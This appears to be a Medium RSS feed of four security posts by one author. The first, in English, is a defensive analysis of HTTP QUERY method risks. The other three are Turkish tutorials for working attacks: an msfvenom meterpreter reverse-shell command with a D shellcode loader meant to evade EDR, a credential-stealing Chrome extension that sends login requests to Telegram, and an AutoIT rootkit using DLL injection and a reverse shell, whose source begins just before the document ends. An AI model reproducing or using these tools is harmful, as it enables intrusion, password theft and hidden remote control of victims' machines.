<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Tolga SEZER on Medium]]></title>
        <description><![CDATA[Stories by Tolga SEZER on Medium]]></description>
        <link>https://medium.com/@tolga-sezer?source=rss-685f1838cffc------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*0VXjto5OsBkxMCIaBdaYNg.jpeg</url>
            <title>Stories by Tolga SEZER on Medium</title>
            <link>https://medium.com/@tolga-sezer?source=rss-685f1838cffc------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 01:32:46 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@tolga-sezer/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HTTP QUERY Method: Is It Really Safe?]]></title>
            <link>https://medium.com/@tolga-sezer/http-query-method-a-new-place-for-old-bugs-to-hide-6c1a4c687756?source=rss-685f1838cffc------2</link>
            <guid isPermaLink="false">https://medium.com/p/6c1a4c687756</guid>
            <category><![CDATA[http-query]]></category>
            <dc:creator><![CDATA[Tolga SEZER]]></dc:creator>
            <pubDate>Tue, 23 Jun 2026 18:28:30 GMT</pubDate>
            <atom:updated>2026-06-23T18:38:46.193Z</atom:updated>
            <content:encoded><![CDATA[<p>HTTP just got a new toy: QUERY.</p><p>At first glance, it looks harmless. It is meant for read-only operations, it can carry a request body, and it tries to clean up the old mess where people used POST /search because GET with a long query string was ugly, limited, or too easy to leak into logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*43TiThWBNmJkT5K7Wt7CKw.gif" /></figure><p>Nice idea.</p><p>But from a red team seat, every new protocol feature has one uncomfortable question attached to it:</p><p><strong>Which layer will understand it, and which layer will pretend it did?</strong></p><p>That gap is where bugs live.</p><p>QUERY is not scary because it is dangerous by design. It is interesting because most production stacks are not one clean HTTP server. They are a small city of CDN rules, WAF policies, API gateways, reverse proxies, service meshes, legacy middleware, logging agents, framework routers, and that one Nginx config nobody touches because “it works”.</p><p>Now introduce a method that looks like a read operation but carries a body.</p><p>What could possibly go wrong?</p><p>Besides everything. But let’s keep it professional.</p><h3>1. WAF and API Gateway Bypass</h3><p>Most WAF rulesets were written around the usual suspects:</p><pre>GET<br>POST<br>PUT<br>PATCH<br>DELETE<br>OPTIONS</pre><p>A lot of request inspection logic assumes that dangerous input appears in one of these places:</p><pre>GET     -&gt; query string<br>POST    -&gt; body<br>PUT     -&gt; body<br>PATCH   -&gt; body</pre><p>Now comes:</p><pre>QUERY /api/search HTTP/1.1<br>Host: target.local<br>Content-Type: application/json</pre><pre>{<br>  &quot;filter&quot;: &quot;status:active AND owner:admin&quot;<br>}</pre><p>The application may parse this body correctly.</p><p>The WAF may not.</p><p>That is the dangerous part. If the edge layer treats QUERY as an unknown-but-allowed method, it may forward the request without applying the same JSON parser, SQLi signatures, GraphQL rules, body size checks, or schema validations used for POST.</p><p>That gives attackers a boring but effective path: move the payload from a monitored method to a less-understood method.</p><p>Not magic. Just plumbing.</p><p>A typical weak chain looks like this:</p><pre>Client<br>  -&gt; CDN allows unknown method<br>  -&gt; WAF does method-based body inspection<br>  -&gt; API Gateway forwards QUERY<br>  -&gt; Backend framework supports custom method<br>  -&gt; Application processes body</pre><p>That is not an exploit. That is a meeting invite.</p><h3>What I would test</h3><p>Send the same suspicious input through different methods and compare behavior:</p><pre>POST  /api/search<br>QUERY /api/search<br>GET   /api/search?q=...</pre><p>Then compare:</p><pre>WAF block?<br>Gateway block?<br>Backend response?<br>Application log?<br>Security log?</pre><p>If POST gets blocked but QUERY reaches the app, the WAF is taking a coffee break.</p><h3>Defense</h3><ul><li>Use a strict method allowlist at the first edge layer.</li><li>Return 405 Method Not Allowed for unsupported methods.</li><li>If QUERY is supported, enable body inspection for it explicitly.</li><li>Apply the same parser chain used for POST: JSON, XML, GraphQL, form data, etc.</li><li>Do not let the backend support a method that the WAF does not understand.</li><li>Add WAF regression tests for QUERY before enabling it in production.</li></ul><h3>2. Unauthorized Data Exposure</h3><p>QUERY is designed for read-style operations. That means teams may mentally place it near GET.</p><p>That is fine until caching enters the room wearing muddy boots.</p><p>A QUERY request can carry sensitive filters in the body:</p><pre>{<br>  &quot;customer_id&quot;: &quot;48291&quot;,<br>  &quot;include_internal_notes&quot;: true,<br>  &quot;region&quot;: &quot;eu&quot;<br>}</pre><p>If the response is user-specific and some layer treats it like a cacheable safe response without considering the body and authorization context, you can get cross-user data exposure.</p><p>The classic failure mode:</p><pre>User A sends QUERY /reports with body A<br>Cache stores response under /reports<br>User B sends QUERY /reports with body B<br>Cache returns User A&#39;s response</pre><p>That is how a harmless read endpoint becomes a report vending machine.</p><p>The same problem appears when Location or Content-Location is used badly. If the server creates a reusable URL for the query or its result, and that URL is predictable or not authorization-bound, the result becomes an IDOR-shaped piñata.</p><p>Example of what not to do:</p><pre>HTTP/1.1 200 OK<br>Content-Location: /query-results/12345</pre><p>If /query-results/12346 works for another user, congratulations, you invented “GraphQL but with receipts”.</p><h3>What I would test</h3><ul><li>Does the response include Cache-Control?</li><li>Does a shared CDN cache the response?</li><li>Is the cache key aware of the request body?</li><li>Is the cache key aware of Authorization, cookies, tenant ID, and user context?</li><li>Are Location or Content-Location values predictable?</li><li>Can another user fetch a generated query result URL?</li><li>Does the stored result expire?</li><li>Does the stored result re-check authorization on every access?</li></ul><h3>Defense</h3><ul><li>Start with caching disabled for authenticated QUERY endpoints.</li><li>Use Cache-Control: no-store for sensitive or user-specific results.</li><li>If caching is required, include method, path, normalized body hash, content type, accept headers, tenant, and auth context in the cache key.</li><li>Never cache authenticated data in a shared cache unless the design has been reviewed properly.</li><li>Make generated result URLs opaque, random, short-lived, and authorization-bound.</li><li>Do not put sensitive query content into Location or Content-Location.</li><li>Re-check authorization when fetching stored query results.</li></ul><h3>3. Logging Blind Spots</h3><p>Security teams love logs until they discover the important part was never logged.</p><p>A lot of access logs are URI-focused:</p><pre>method path status size user-agent ip</pre><p>That works reasonably well for GET, because the query input is often visible in the URL:</p><pre>GET /search?q=test</pre><p>With QUERY, the interesting part is in the body:</p><pre>QUERY /search<br>Content-Type: application/json</pre><pre>{<br>  &quot;q&quot;: &quot;test&quot;<br>}</pre><p>If your logging pipeline only records the method and path, then every request looks like this:</p><pre>QUERY /search 200<br>QUERY /search 200<br>QUERY /search 500<br>QUERY /search 403</pre><p>Very poetic. Completely useless.</p><p>This creates several detection problems:</p><ul><li>attack payloads may not appear in logs;</li><li>incident responders cannot reconstruct what was queried;</li><li>anomaly detection sees many identical paths;</li><li>WAF and application logs may disagree;</li><li>SIEM rules written for URI parameters miss body-based patterns.</li></ul><p>The fix is not “log every body”. That is how you build a privacy incident with extra steps.</p><p>The fix is structured, safe logging.</p><h3>Good logging fields</h3><p>For QUERY, I would want at least:</p><pre>timestamp<br>request_id<br>method<br>path<br>content_type<br>body_size<br>body_hash<br>normalized_query_hash<br>authenticated_user<br>tenant_id<br>source_ip<br>response_status<br>response_size<br>cache_status<br>waf_action<br>gateway_action<br>backend_route</pre><p>For selected low-risk fields, log a normalized summary:</p><pre>{<br>  &quot;method&quot;: &quot;QUERY&quot;,<br>  &quot;route&quot;: &quot;/api/search&quot;,<br>  &quot;content_type&quot;: &quot;application/json&quot;,<br>  &quot;body_size&quot;: 184,<br>  &quot;body_hash&quot;: &quot;sha256:...&quot;,<br>  &quot;query_fields&quot;: [&quot;status&quot;, &quot;owner&quot;, &quot;limit&quot;],<br>  &quot;limit&quot;: 100,<br>  &quot;sort&quot;: &quot;created_at&quot;,<br>  &quot;status&quot;: 200<br>}</pre><p>No secrets. No tokens. No full customer records.</p><p>Just enough to know what happened without turning the log store into a data breach starter kit.</p><h3>What I would test</h3><ul><li>Does QUERY appear in access logs?</li><li>Is the body size logged?</li><li>Is the content type logged?</li><li>Is there a stable body hash?</li><li>Can WAF logs and app logs be joined by request ID?</li><li>Are blocked QUERY requests visible?</li><li>Are malformed QUERY requests visible?</li><li>Does the SIEM have method-specific dashboards?</li><li>Do detection rules include QUERY?</li></ul><h3>Defense</h3><ul><li>Add QUERY to log parsers and SIEM normalization.</li><li>Generate a request ID at the edge and pass it through all layers.</li><li>Log body hash, not raw body.</li><li>Log safe parsed metadata, not sensitive values.</li><li>Track WAF action, gateway action, cache status, and backend route.</li><li>Create detections for unusual QUERY volume, body size spikes, high error rates, and rare content types.</li><li>Make sure rejected requests are logged too. The ghosts matter.</li></ul><h3>4. Method Override and Proxy Mismatch</h3><p>This is the part where infrastructure gets funny.</p><p>HTTP stacks often disagree about methods. Some proxies allow unknown methods. Some normalize them. Some block them. Some route them strangely. Some frameworks support custom methods only if a plugin, middleware, or route matcher allows it.</p><p>Then there are method override headers:</p><pre>X-HTTP-Method-Override: QUERY<br>X-Method-Override: QUERY<br>X-HTTP-Method: QUERY</pre><p>These exist because old clients and firewalls sometimes only supported GET and POST. So applications added a workaround:</p><pre>POST /api/search<br>X-HTTP-Method-Override: DELETE</pre><p>Useful? Sometimes.</p><p>Dangerous? Often.</p><p>With QUERY, method override can create strange split-brain behavior:</p><pre>Edge sees: POST<br>App sees: QUERY<br>WAF applies: POST policy<br>Router applies: QUERY handler<br>Logs show: POST<br>Backend audit says: QUERY</pre><p>Now try explaining that during an incident call at 02:00.</p><p>The main risk is inconsistent interpretation. If the gateway authorizes based on one method and the backend executes based on another, access control can drift.</p><p>Example:</p><pre>Gateway policy:<br>  POST /reports requires write scope</pre><pre>Backend override:<br>  X-HTTP-Method-Override: QUERY<br>  routes to read-only query handler</pre><p>Or the opposite:</p><pre>Gateway sees safe method<br>Backend override turns it into something else</pre><p>That is why method override should be treated like a loaded nail gun. It has valid uses, but you do not leave it on the office table.</p><h3>What I would test</h3><ul><li>Is QUERY accepted directly?</li><li>Is QUERY accepted through method override headers?</li><li>Do gateway logs and backend logs show the same method?</li><li>Does authz happen before or after method override?</li><li>Does the WAF inspect based on original method or effective method?</li><li>Does the router expose different behavior for lowercase, mixed case, or invalid methods?</li><li>Do proxies return consistent 405 and Allow headers?</li><li>Are OPTIONS responses advertising QUERY only where intended?</li></ul><h3>Defense</h3><ul><li>Disable method override unless there is a real legacy requirement.</li><li>If method override is required, allow it only at one layer.</li><li>Strip override headers at the edge by default.</li><li>Log both original method and effective method.</li><li>Run authorization against the effective method and route.</li><li>Keep method policy consistent across CDN, WAF, gateway, proxy, service mesh, and app.</li><li>Test direct QUERY and overridden QUERY separately.</li><li>Do not allow unknown methods to “fall through” to the backend.</li></ul><h3>Final Notes</h3><p>QUERY is not a vulnerability. It is a new semantic tool.</p><p>The risk is that modern infrastructure is full of components that make assumptions about HTTP methods. Some inspect bodies only for POST. Some cache only by path. Some log only URLs. Some accept override headers because a vendor document from 2013 said it was fine.</p><p>The security work is not exotic.</p><p>It is mostly boring validation:</p><pre>Does every layer understand QUERY the same way?<br>Does the WAF inspect it?<br>Does the gateway authorize it?<br>Does the cache key include the body?<br>Do logs show enough to investigate it?<br>Can override headers change what the backend sees?</pre><p>That is the whole game.</p><p>New method. Same old bugs. Different hiding place.</p><p>And as usual, the attacker does not need your architecture to be completely broken.</p><p>One confused proxy is usually enough.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6c1a4c687756" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[D Script ile EDR Atlatma Teknikleri | Evasion #1]]></title>
            <link>https://medium.com/@tolga-sezer/d-script-ile-edr-atlatma-teknikleri-evasion-1-431f657c369d?source=rss-685f1838cffc------2</link>
            <guid isPermaLink="false">https://medium.com/p/431f657c369d</guid>
            <category><![CDATA[edr-bypass]]></category>
            <category><![CDATA[dlag]]></category>
            <category><![CDATA[meterpretershellcode]]></category>
            <category><![CDATA[evasion]]></category>
            <dc:creator><![CDATA[Tolga SEZER]]></dc:creator>
            <pubDate>Sat, 08 Mar 2025 23:42:08 GMT</pubDate>
            <atom:updated>2025-03-08T23:42:08.867Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*VN4IYSQBej080Ku7wdcIqQ.png" /></figure><p>EDR ürünleri, kurumlar için genellikle etkili bir savunma katmanı sağlar. Ancak, bu tür çözümlerin temel amacı, çoğunlukla alanında deneyimsiz saldırganları engellemektir.</p><p>Bu yazımızda bazı EDR ürünlerinin, basit tekniklerle nasıl atlatılabildiğini inceleyeceğiz. İlgili method yalnızca D dilinde geliştirilse de mantığı hemen hemen tüm dillerde aynıdır. Elbette bu method, kullanıldıkça yakalanmaya başlayacak ancak minimal bazı dokunuşlar ile yeniden bu tarz ürünleri atlatmada başarılı olabilecektir.</p><p>Öncelikle <a href="https://dlang.org/download.html">https://dlang.org/download.html</a> adresinden D derleyicisini indirelim ve windows tabanlı işletim sistemimize kuralım. Akabinde msfvenom ile meterpreter zararlısına ait shellcode oluşturacağız. Hızlıca aşağıdaki komut ile oluşturabilirsiniz;</p><p>$ msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 RC4PASSWORD=PASS LHOST=<strong>192.168.1.100</strong> LPORT=<strong>4444</strong> -e x64/xor -f go</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*HJblgUMLHvYvVBpf-LjBLw.png" /></figure><p>Not defterini açarak aşağıdaki kodu yapıştıralım ve <strong>msfvenom</strong> tarafından üretilen shellcode çıktısını ilgili bölüme ekleyelim.</p><pre>import core.sys.windows.windows;<br>import core.sys.windows.winbase;<br>import core.sys.windows.windef;<br>import std.stdio;<br>// Author: Tolga Sezer<br>void main()<br>{<br> FreeConsole();<br>    void* exec_mem = VirtualAlloc(null, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);<br>    ubyte[] shellcode = [<br>        0x48,0x31,0xc9,...<br>    ];<br>    import core.stdc.string;<br>    memcpy(exec_mem, shellcode.ptr, shellcode.length);<br>    HANDLE hThread = cast(HANDLE) CreateThread(null, 0, cast(LPTHREAD_START_ROUTINE) exec_mem, null, 0, null);<br>    WaitForSingleObject(hThread, INFINITE);<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*e4N7N0e8XgXCrq4KGhO03w.png" /></figure><p>D script dosyasını “shellcode.d” olarak bir dizine kaydedelim ve aynı dizinde cmd açarak aşağıdaki komutu çalıştıralım;</p><p>$ dmd shellcode.d</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*34nSn3WvTNnypsbP2UFFSw.png" /></figure><p>Komutun çalıştırılmasından sonra aynı dizinde shellcode.exe derlenecektir. Artık red team operasyonlarında keyifle kullanabiliriz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*4gHPDOXJ0lj1sSt4VMAB9A.png" /><figcaption>Defender scan</figcaption></figure><p>Kısa bir not: Runtime sırasında oluşabilecek yakalanmalara karşı meterpreter paranoid modunu kullanabilirsiniz. Aynı zamanda NDR çözümlerini atlatmada yardımcı olacaktır.</p><p>Bir sonraki yazımda görüşmek dileğiyle.</p><p>./Tolga SEZER</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=431f657c369d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Chrome Eklentileri ile Parola Toplama Sanatı]]></title>
            <link>https://medium.com/@tolga-sezer/chrome-eklentileri-ile-parola-toplama-sanat%C4%B1-c025f37e3706?source=rss-685f1838cffc------2</link>
            <guid isPermaLink="false">https://medium.com/p/c025f37e3706</guid>
            <category><![CDATA[chrome-malware]]></category>
            <category><![CDATA[addonchrome]]></category>
            <category><![CDATA[google-chrome-eklentileri]]></category>
            <dc:creator><![CDATA[Tolga SEZER]]></dc:creator>
            <pubDate>Tue, 04 Mar 2025 22:26:53 GMT</pubDate>
            <atom:updated>2025-03-04T22:26:53.901Z</atom:updated>
            <content:encoded><![CDATA[<p>Bu yazımda, saldırganların kötücül chrome eklentileri ile rahatlıkla nasıl parolaları topladığını göreceğiz. Öncelikle belirtmek gerekir ki, makale içerisindeki tüm teknik detaylar yalnızca bilgilendirme amaçlı olup, olası art niyetli aktivitelerde kullanılmasından, geliştirici ve dağıtıcı sorumludur.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uZoCdbte4siH7ZGsKRH1hQ.gif" /><figcaption>PoC</figcaption></figure><p>Kötücül(malicious) chrome eklentisi nasıl geliştirilir?</p><p>Chrome eklentileri günlük hayatta birçok işimizi kolaylaştırmaktadır. Ancak bazı ücretsiz chrome eklentilerinin de gerçekten karşılıksız paylaşılmadığı unutulmamalıdır. Bedava peynir sadece fare kapanında olur diyelim ve teknik detaya inelim.</p><p>Hangimiz ücretsiz VPN eklentisi indirmedik? Hangimiz reklam engelleyici indirmedik?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*aG7P5KO4aXI3wBk4q5xMPA.gif" /></figure><p>Chrome web mağazasına yüklenen her bir eklenti denetim süreçlerinden geçiyor. Ancak saldırganlar, denetim sürecinden başarıyla geçen eklentilerine güncelleme geçerek kötücül kodlarını ekliyorlar. Bu süreçten sonra anca bu eklentinin biri tarafından analiz edilerek bildirilmesi gerekiyor ki keşfedilebilsin.</p><p>Tabi eklentinin kötücül olduğu anlaşılana kadar atı alan üsküdarı geçiyor.</p><p>Öncelikle, eklentiler standart bir <strong>manifest.json</strong> dosyası ve bir arayüzden oluşmaktadır. Ardından, <strong>content script</strong> veya <strong>background</strong> <strong>script</strong> kullanılarak tarayıcıdaki formlara girilen veriler yakalanabilir veya her bir istek incelenebilir. Eklentiler içerisinde en tehlikeli sayılabilecek belirli izinler mevcuttur. Özellikle <strong>“activeTab”</strong>, <strong>“storage”</strong>, <strong>“webRequest”</strong> gibi geniş izinler talep eden bir eklenti, tüm aktiviteleri okuyabilir/izleyebilir. Bizlerde bu izinleri kullanarak, chrome üzerindeki tüm GET isteklerini inceletip, parola bulunduran her bir isteği <strong>Telegram API</strong> kullanarak elde edeceğiz.</p><p>İlk olarak <strong>manifest.json </strong>adında boş bir dosya oluşturalım ve aşağıdaki kodu içerisine yazalım;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*YCEuOQg1K9nu9BIQRQsWOA.png" /></figure><p>Daha sonra aynı dizinde <strong>background.js</strong> betiği oluşturalım ve aşağıdaki kodları içerisine yazalım;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*9Q3jJ76AyjsNiQbEcjQKgQ.png" /><figcaption><strong>background.js</strong></figcaption></figure><p>Yukarıdaki kod içerisinde dikkat edilecek husus, Telegram API bilgilerinin girilmesidir. Telegram üzerinden BotFather aracılığıyla hızlıca bot oluşturabilirsiniz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*23ebTc2Acjs4dMHzGMueFA.png" /></figure><p>Oluşturduğunuz 2 dosyanın olduğu dizini, Chrome uygulamasından Uzantılar &gt; “Paketlenmemiş öğe yükle” butonu aracılığıyla direk chrome üzerine dahil edebilirsiniz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*eME7wqJQmy2JhbHJlZk66Q.png" /></figure><p>Bu süreçten sonra gezinilen sayfalardaki tüm GET istekleri tek tek incelenecek ve içerisinde “<strong>login,session,user,pass,giris,yonetici,yonetim</strong>” gibi değişkenler geçiyor ise telegram üzerinden tüm isteği eş zamanlı iletecektir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*S-Cy1hIrr5bKVxaS6lpx8A.png" /></figure><p>Parolaların basitçe nasıl toplanabildiğini gördük. Tabiki de daha fazla zamana sahip saldırganlar, daha spesifik ve daha gelişmiş yöntemler kullanarak da hedeflerine ulaşabileceklerini unutmayalım.</p><p>Tehlikenin farkında olduğumuza göre artık gereksiz tüm eklentileri kaldırma vakti..</p><p>Bir sonraki yazımda, ücretsiz VPN eklentilerinin tüm trafiğimizi nasıl topladığını anlatan konulara değineceğim.</p><p>./Tolga SEZER</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c025f37e3706" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AutoIT ile Reverse-Shell Rootkit nasıl geliştirilir?]]></title>
            <link>https://medium.com/@tolga-sezer/autoit-ile-reverse-shell-rootkit-nas%C4%B1l-geli%C5%9Ftirilir-e13183f3be66?source=rss-685f1838cffc------2</link>
            <guid isPermaLink="false">https://medium.com/p/e13183f3be66</guid>
            <dc:creator><![CDATA[Tolga SEZER]]></dc:creator>
            <pubDate>Fri, 21 Feb 2025 17:25:02 GMT</pubDate>
            <atom:updated>2025-02-21T21:53:00.509Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Bu makalenin sonunda, programlama dili bağımsız olarak istenilen herhangi bir zararlı yazılımın Windows 11 de dahil olmak üzere tüm Windows tabanlı işletim sistemlerinde nasıl profesyonelce gizlenebildiğini görmüş olacağız.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KKv9ZLExCwa3AUq5GkaEMg.png" /></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F7ahLto8dmNE%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D7ahLto8dmNE&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F7ahLto8dmNE%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/5d20b200a0eb487d3c5e7dba7428be41/href">https://medium.com/media/5d20b200a0eb487d3c5e7dba7428be41/href</a></iframe><p><strong>Rootkit Nedir?</strong></p><p>Rootkit’ler, bir sisteme sızdıktan sonra kullanıcıdan ve güvenlik yazılımlarından gizlenmek üzere tasarlanmış yazılımlar olarak tanımlanır. Amaçları, sistemin derinliklerinde fark edilmeden var olmak ve zararlı işlemler yürütmektir. Örneğin; hassas verilerin çalınması, sistem kaynaklarının sömürülmesi ya da sisteme zararlı dosyaların gizlice yerleştirilmesi gibi işlemleri yerine getirebilirler.</p><p>Rootkit’ler, bir sistemde izinsiz erişimi kalıcı hale getiren ve genellikle kullanıcıların fark edemeyeceği şekilde gizlenen kötü amaçlı yazılımlar arasında yer alır. Bu yazılım türü, siber saldırganların sistem üzerinde tam kontrol sağlamasına olanak tanır. Genellikle karmaşık programlama dilleri ile geliştirilen bu tehdit, son zamanlarda AutoIT gibi basit scripting dillerinde de boy göstermeye başladı. Peki, basit bir otomasyon dili olan AutoIT ile nasıl rootkit geliştirilebilir? İşte bu yazıda, hem teknik detayları hem de bu sürecin ne kadar tehlikeli olabileceğini gözler önüne sereceğiz.</p><p><strong>AutoIT Masum Bir Yazılım Dil mi? Gizli Bir Tehdit mi?</strong></p><p>AutoIT, Windows işletim sistemlerinde otomatikleştirme işlemleri yapmak için tasarlanmış bir script dilidir. Yani, temel amacı kullanıcı yerine işletim sistemi üzerindeki bazı sıkıcı işleri halletmektir. Dosya taşımak, pencereleri kapatmak, fare ve klavye hareketlerini taklit etmek bunlara örnektir. Kısacası AutoIT, iş yükünüzü hafifletmek için bir yardımcıdır. <strong>Ama</strong>, bu masum dilin siber saldırganların elinde nasıl siber silaha dönüşebileceğini kim bilebilirdi?</p><p><strong>AutoIT ile Reverse Shell Sağlayabilen Rootkit Nasıl Geliştirilir?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/441/1*VPPWal2qmdWV56uVnk-Hdw.png" /></figure><p>Bu aşamada AutoIT ile geliştirilen script dosyasının sistem üzerinde nasıl gizlendiğini ve aktivitelerini nasıl yerine getirdiğini inceleyeceğiz. Öncelikle, Martin Fischer tarafından geliştirilen “<strong>rootkit helper</strong>” kodunu incelediğimizde, DLL dosyalarının gizlenmesi istenilen işlemlere inject edilmesi gerektiğini görüyoruz. Yani şu demek oluyor ki; istenilen bir executable dosyayı sistem üzerinde görüntülenmesini sağlayan uygulamalara inject edilmesi gerekiyor. Dolayısıyla öyle bir kod olmalı ki, sistem üzerindeki tüm process listesini taramalı ve DLL dosyalarını ilgili process’e inject etmeli. Hemen bunu AutoIT’den gönderilecek WMI parametreleriyle çektirebiliriz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*LD03hVDvKWYNkeo9hliXBw.png" /></figure><p>Yukarıda da görüldüğü gibi PID numaralarıyla birlikte tüm process listesini çektirmeyi başardık. Bu kısımda aynı sistem kullanıcısına ait process listesini getirmeyi tercih ettik. PID numaralarını ilerleyen süreçlerde kullanacağız. Sıra geldi DLL Injection tarafına (en keyifli kısım).</p><p>AutoIT script diliyle, Windows işletim sistemleri üzerinde yer alan WinAPI arayüzü ile birçok işlem gerçekleştirilebiliyor. Bu kısımda, Windows API’ları kullanarak hedef process’in belleğine erişim sağlayacağız. Yine kullanmayı en çok sevdiğimiz “kernel32” kütüphanesinden yardım alacağız. Zararlı yazılım geliştirmede olmazsa olmaz API’lar “VirtualAllocEx” ve “WriteProcessMemory” ikilisidir. Bir tanesiyle hedef process’in belliğinde yer ayırır, diğeriyle istediğimiz veriyi ilgili alana konumlandırırız. Buradaki amaç da, process’lerin bellek alanlarını açarak içerisine konumlandırmak istediğimiz DLL’i yerleştirmek ve bunu farklı bir process üzerinden tetiklemek olacaktır. Aslında bahsedilen tüm DLL Injection tekniğinin arka planı bundan ibaret. Aşağıdaki kod yapısında tüm süreci uçdan uca uygulayan betiği görüyoruz;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*RuUDE3ZnjedATYsrF09uIA.png" /></figure><p>Adımlar şu şekilde;</p><p>· Hedef process’in belleğine erişim sağla (OpenProcess)</p><p>· Inject edilecek DLL büyüklüğü kadar oradan yer ayır (VirtualAllocEx)</p><p>· Açılan ve ayrılan alana DLL kabuğunu yaz (WriteProcessMemory)</p><p>· Process içerisine yerleştirilen alandaki adresini tetikle (GetProcAddress &gt; CreateRemoteThread(LoadLibrary))</p><p>· Hedef process’in bellek erişimini sonlandır (CloseHandle)</p><p>“VirtualAlloc” fonksiyonu, çoğunlukla bellek manipülasyonları için kullanıldığından EDR mekanizmaları tarafından yakalanması olasıdır. Tabi ki de bazı teknikler ile atlatmak zor değil. İlerleyen zamanlarda herhangi bir Windows fonksiyonunu tetiklemenin farklı yollarını işleyeceğiz. Şimdi dönelim konumuza..</p><p>DLL Injection sonrasında, inject edilen kütüphanenin parametreleri (konfigürasyonu) dinamik olarak çekebilmesi ve görevini yerine getirmesi gerekiyor. Bunun elbette birden fazla yolu var. Örneğin; belirli bir dizinden okuyabilir, SMB paylaşımı ile farklı bir ortak sunucudan çekebilir, internet üzerinden erişebilir veya regedit gibi ortamlardan sağlanabilmektedir. Buradaki çalışma da “rootkit helper” kütüphanemiz regedit üzerinden konfigürasyon bilgilerini okuyor. Dolayısıyla AutoIT ile ilgili kütüphaneyi inject ederek tetiklemeden önce, regedit tarafına belirli parametreleri yazdırmamız gerekiyor. Örneğin; hangi process, hangi dizin gizlenecek gibi.. Aşağıdaki kod betiğinde görüldüğü gibi, öncelikle AutoIT exe dosyasının adını <strong>$CurrentProcessName </strong>değişkenine tanımlıyoruz. Akabinde “HKLM” regedit dizinlerine exe adı ve bulunduğu dizin bilgisini yazdırıyoruz. Örneğin: “malware.exe” ve “C:\ProgramData\malware.exe” gibi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*cqVRILixmSVfJPmic6yGYg.png" /></figure><p>DLL’i enjekte ettik, parametrelerini regedit’e girdik, sıra geldi tetiklemeye! Peki ya kendini onca yerden gizledikten sonra ne yapmasını isteyelim? Tabi ki de <strong>reverse shell</strong>! :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*7fA4wvAncU8bhDnUT55ewg.png" /></figure><p>Yukarıdaki kod içerisinde de görüldüğü üzere, sürekli bağlanmayı deneyen ve bağlantıyı elde ettikten sonra “%Computername%, %Username%” gibi string’leri socket aracılığıyla saldırgana ileten fonksiyonumuzu yazdık. Akabinde <strong>netcat</strong> aracı ile gelecek komutları <strong>cmd</strong> ile işleyen ve çıktısını tekrardan saldırganın makinasına gönderecek şekilde dizayn ettik. Nihai durumda, <strong>Process Hacker/Process Explorer</strong> gibi yazılımlarda ve ağ bağlantılarında gözükmeyecek bir zararlı yazılım ile tersine bağlantı almayı hedefliyoruz. Sıra geldi denemeye;</p><pre>#Region<br>#AutoIt3Wrapper_Outfile_x64=rootkit_reverse_tcp.exe<br>#AutoIt3Wrapper_UseUpx=y<br>#EndRegion<br>#include &lt;String.au3&gt;<br>#include &lt;SendMessage.au3&gt;<br>#include &lt;WindowsConstants.au3&gt;<br>Opt(&quot;TrayIconHide&quot;, 1)<br><br>;~ This rootkit software is for educational and research purposes only. All responsibility lies with the user. Unauthorized or malicious use may lead to legal consequences.<br>; Author: Tolga SEZER<br><br>Global $sIPAddress = &quot;192.168.77.27&quot;<br>Global $iPort = 4444<br><br>FileInstall(&quot;r77-x86.dll&quot;, @TempDir &amp; &quot;\r77-x86.dll&quot;)<br>FileInstall(&quot;r77-x64.dll&quot;, @TempDir &amp; 